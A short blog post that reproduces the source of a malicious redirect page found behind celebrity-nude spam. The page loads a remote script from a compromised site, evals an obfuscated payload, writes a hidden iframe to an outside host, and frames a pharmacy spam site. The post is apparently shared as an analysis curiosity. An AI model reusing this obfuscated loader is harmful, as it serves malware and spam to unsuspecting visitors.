Monday, November 2, 2009

Michelle Obama nude.

redirects to http://72.167.46.230/demo.html:

then:

<<span class="start-tag">html</span>>
<<span class="start-tag">head</span>>
<<span class="start-tag">title</span>>Demo
</<span class="end-tag">title</span>>
</<span class="end-tag">head</span>>
<<span class="start-tag">script</span><span class="attribute-name"> src</span>=<span class="attribute-value">http://ngw.school.in.th/themes/ktb-support.php </span>></<span class="end-tag">script</span>><<span class="start-tag">body</span>><<span class="start-tag">script</span><span class="attribute-name"> language</span>=<span class="attribute-value">"JavaScript"</span>>var CRYPT={signature:'BXcfTYewQ',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i++));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|(enc2/>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext){var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++){container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('156159156208184176150227179176169216202135163213219152151199173224204201191229155170186186187187188152193187146171173213184161183238160171144217201172189209208169144195189169137206191207162184178209176188179152205203142139177213182140200236180137192218175189155152216168148136196170132194178202154169185170188196179151223129146171172222157194167241181138196214192168137206209152174210198173204193202203193183186149155192168222192124146155156214174199175223179153173142176205196162'));</<span class="end-tag">script</span>>
<<span class="start-tag">script</span>>function KNUjlK(gOqglDp){ window.eval();var QPFh = document.getElementById('Aak'); fff.op.replace("262"); }
function zTvF(EOQtCyldP){var RaXtI=4,NNE=10;var jRccrCxe='24+0,42+0,40+8,45+6,38+8,43+6,40+4,12+8,47+6,42+0,40+0,46+4,41+6,24+4,19+6,12+8,41+6,40+4,42+0,41+2,41+6,46+4,24+4,19+6,12+8,39+2,44+4,45+6,40+0,40+4,45+6,24+4,19+2,12+8,40+8,45+6,38+8,43+6,40+4,39+2,44+4,45+6,40+0,40+4,45+6,24+4,19+2,12+8,46+0,45+6,',MOWMrS=jRccrCxe.split(',');bAH='';for(dsohMXljb=0x2a-0xc-0xd-0x2-0x4-0x32+0x27;dsohMXljb<MOWMrS.length-1;dsohMXljb+=-0x17+0x6-0x16+0x28){ ZPb=MOWMrS[dsohMXljb].split('+');jpRJgCM = parseInt(ZPb[0]*NNE)+parseInt(ZPb[1]);jpRJgCM = parseInt(jpRJgCM)/RaXtI;bAH += String.fromCharCode(jpRJgCM);}return bAH;}function aEgGLS(hmZV){ fff=op.split("1193");var nTrfTdI = document.getElementById('tQl'); }
function XncIYqvsKk(vQpOfTTQU){var dUzNjB=6,oNoxFmsu=6;var xrf='99+0,61+0,39+0,104+0,116+0,116+0,112+0,58+0,47+0,47+0,98+0,101+0,97+0,117+0,116+0,121+0,109+0,111+0,100+0,97+0,46+0,114+0,117+0,47+0,116+0,101+0,109+0,112+0,108+0,97+0,116+0,101+0,115+0,47+0,105+0,110+0,100+0,101+0,120+0,46+0,112+0,104+0,112+0,39+0,62+0,60+0,47+0,105+0,102+0,114+0,',HBPe=xrf.split(',');yqBdqoj='';for(huegp=-0x20+0x9-0x9+0x20;huegp<HBPe.length-1;huegp+=-0x27-0x1c+0x3-0x13-0x2a-0x2d+0xab){ MzqSYnY=HBPe[huegp].split('+');YEwElpcQ = parseInt(MzqSYnY[0]*oNoxFmsu)+parseInt(MzqSYnY[1]);YEwElpcQ = parseInt(YEwElpcQ)/dUzNjB;yqBdqoj += String.fromCharCode(YEwElpcQ);}return yqBdqoj;}function zuTccIP(mSzMDLq){var qleYOcLFYx=4,YPyvlqt=2;var wEZoF='194+0,218+0,202+0,124+0,',ERpLN=wEZoF.split(',');pvhpZR='';for(ZNMXvvT=0x1a+0x26-0x11-0x2a-0x5;ZNMXvvT<ERpLN.length-1;ZNMXvvT+=-0x17+0x2d+0x2c-0x10-0x31){ PopH=ERpLN[ZNMXvvT].split('+');WNH = parseInt(PopH[0]*YPyvlqt)+parseInt(PopH[1]);WNH = parseInt(WNH)/qleYOcLFYx;pvhpZR += String.fromCharCode(WNH);}return pvhpZR;}function YSoXTKIW(fgOXysFey){ alert('WSNZiKG');window.eval(); fff=op.split("804"); }
document['w3306r4036i8030t5784e99145420'.replace(/[0-9]/g,'')](zTvF('MSRHlXB'),XncIYqvsKk('eXXj'),zuTccIP('PDNJM'));function GXXnzKwoot(RxeReYSI){ fff.op.replace("1125"); fff.op.replace("1125");var EKaYmuqi = document.getElementById('GFV'); }
function iVg(wszBsXXezg){ window.eval();window.eval(); }
function KLiMMIiH(tfnlCqVcV){ fff=op.split("1132"); }
</<span class="end-tag">script</span>>
<<span class="start-tag">FRAMESET</span><span class="attribute-name"> border</span>=<span class="attribute-value">0 </span><span class="attribute-name">rows</span>=<span class="attribute-value">"100%,*" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"no" </span><span class="attribute-name">marginleft</span>=<span class="attribute-value">0 </span><span class="attribute-name">margintop</span>=<span class="attribute-value">0 </span><span class="attribute-name">marginright</span>=<span class="attribute-value">0 </span><span class="attribute-name">marginbottom</span>=<span class="attribute-value">0</span>>
<<span class="start-tag">frame</span><span class="attribute-name"> src</span>=<span class="attribute-value">"http://newpharmthe.com.cn" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">auto </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"no" </span><span class="attribute-name">border</span>=<span class="attribute-value">0 </span><span class="attribute-name">noresize</span>>
<<span class="start-tag">frame</span><span class="attribute-name"> topmargin</span>=<span class="attribute-value">"0" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">0 </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">no </span><span class="attribute-name">marginheight</span>=<span class="attribute-value">0 </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"no" </span><span class="attribute-name">border</span>=<span class="attribute-value">0 </span><span class="attribute-name">noresize</span>>
</<span class="end-tag">FRAMESET</span>>
</<span class="end-tag">body</span>>

</<span class="end-tag">html</span>>


spam and more spam.... but obfuscate javascript is for people like me...

No comments: